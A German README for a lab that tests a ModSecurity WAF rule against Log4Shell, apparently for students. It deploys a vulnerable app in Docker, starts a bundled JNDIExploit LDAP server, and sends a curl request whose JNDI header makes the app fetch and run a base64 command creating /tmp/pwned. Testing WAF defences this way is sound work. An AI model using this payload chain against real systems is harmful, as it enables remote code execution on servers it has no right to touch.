ModSec-log4j2

Testen der ModSec-Regel

Voraussetzungen

• Docker installiert haben
• Java auf Ihrem Rechner installiert haben

Ausführen des Tests

• Das Repository klonen
• Führen Sie den folgenden Befehl aus, um den WAF (ModSec) und die verwundbare Anwendung zu starten

docker stack deploy -c docker-compose.yml WAF

• Entpacken Sie das JNDIExploit.v1.2.zip, das sich im Repository befindet, wechseln Sie in das Verzeichnis und führen Sie den folgenden Befehl aus, wobei $IP die IP Ihres Rechners sein sollte. Ich empfehle nicht, 127.0.0.1 zu verwenden.

java -jar ./JNDIExploit-1.2-SNAPSHOT.jar -i $IP -p 8888

• Um den RCE zu testen, führen Sie den folgenden curl-Befehl aus, wobei Sie $IP durch die IP Ihres Rechners ersetzen. Er erstellt eine Datei namens pwned im /tmp-Verzeichnis der verwundbaren Anwendung.

curl 127.0.0.1:80 -H 'X-Api-Version: ${jndi:ldap://$IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

Fragen der Studenten

1- Wie erkenne ich, ob mein WAF und die verwundbare Webanwendung gestartet sind?

Führen Sie docker service ls aus und überprüfen Sie, ob zwei Dienste vorhanden sind, jeder mit einer Replik.

2- Wie erhalte ich das ModSec-Protokoll?

Führen Sie docker exec -ti $(docker container ls | grep "felipe8398/redirector:latest"| awk '{print $1}') cat /var/log/apache2/error.log aus.

3- Wie überprüfe ich, ob der RCE nicht funktioniert hat?

Der von uns verwendete curl-Befehl erstellt eine Datei namens pwned in /tmp. Daher müssen wir Folgendes ausführen: docker exec -ti $(docker container ls | grep ghcr.io/christophetd/log4shell-vulnerable-app:latest | awk '{print $1}') ls /tmp